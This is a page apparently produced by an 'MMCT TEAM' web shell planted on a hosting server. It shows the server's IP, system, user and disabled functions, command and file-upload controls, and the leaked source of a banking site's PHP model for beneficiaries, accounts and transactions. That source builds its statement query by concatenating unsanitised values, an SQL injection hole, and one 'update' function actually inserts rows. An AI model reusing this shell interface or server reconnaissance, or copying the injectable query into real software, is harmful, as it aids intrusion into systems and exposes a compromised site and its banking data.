MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/banking.ncriptech.com/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/banking.ncriptech.com/application/models/admin/Banking_model.php
<?php
	class Banking_model extends CI_Model{

		public function add_benificiary($data){

            $this->db->insert('ci_account_benificiary', $data);
			return true;
        }
        
        public function update_benificiary($data,$id){
            $this->db->where(array('id'=>$id));
            $this->db->insert('ci_account_benificiary', $data);
			return true;
            
        }

		//---------------------------------------------------
		// get all users for server-side datatable processing (ajax based)

		public function get_all_benifici(){

			$this->db->select('*');
			if($this->session->userdata('is_supper')){
				//$this->db->where('status',1);
				return $this->db->get('ci_account_benificiary')->result_array();
			}
			else{
				$this->db->where('is_user', 1);
				$this->db->where('added_by',($this->session->userdata('user_id')));
                //$this->db->where('status',1);
				return $this->db->get('ci_account_benificiary')->result_array();
			}
		}

        public function get_account_holder_name($account_id){

            $query = $this->db->get_where('ci_bank_account', array('id' => $account_id));
			return $result = $query->row_array();

        }

		public function add_account($data){

			$this->db->insert('ci_bank_account', $data);
			return true;

		}

        public function get_all_account_list(){

            $this->db->select('*');
			if($this->session->userdata('is_supper')){
				$this->db->where('status',1);
				return $this->db->get('ci_bank_account')->result_array();
			}
			else{
				$this->db->where('is_user', 1);
				$this->db->where('added_by',($this->session->userdata('user_id')));
                $this->db->where('status',1);
				return $this->db->get('ci_bank_account')->result_array();
			}

        }



		public function get_all_statement($accno,$formdate,$todate){
		    
		    //	echo "select * from  ci_transaction where from_account_id='".$accno."' and (doe>='".$formdate."' or doe<='".$todate."') order by doe asc ";
			

			return  $this->db->query("select * from  ci_transaction where from_account_id='".$accno."' and (doe>='".$formdate."' and doe<='".$todate."') order by doe asc ")->result();
		
		}


		public function add_credit_transaction($data, $data2){

			$this->db->insert('ci_transaction', $data2);
   			$insert_id = $this->db->insert_id();
			$data['transaction_id'] = $insert_id ; 


			$this->db->insert('ci_credit', $data);
			return true;

		}

		public function add_debit_transaction($data,$data2){

			$this->db->insert('ci_transaction', $data2);
   			$insert_id = $this->db->insert_id();
			$data['transaction_id'] = $insert_id ;

			$this->db->insert('ci_debit', $data);
			return true;

		}
		
		public function change_benificary_status()
		{		
			$this->db->set('status', $this->input->post('status'));
			$this->db->where('id', $this->input->post('id'));
			$this->db->update('ci_account_benificiary');
		} 
		
		public function get_benifi_details_info($id){
		    
		    $this->db->where(array('id'=>$id));
		    return $this->db->get('ci_account_benificiary')->result()[0];
		}


		

	}

?>

MMCT - 2023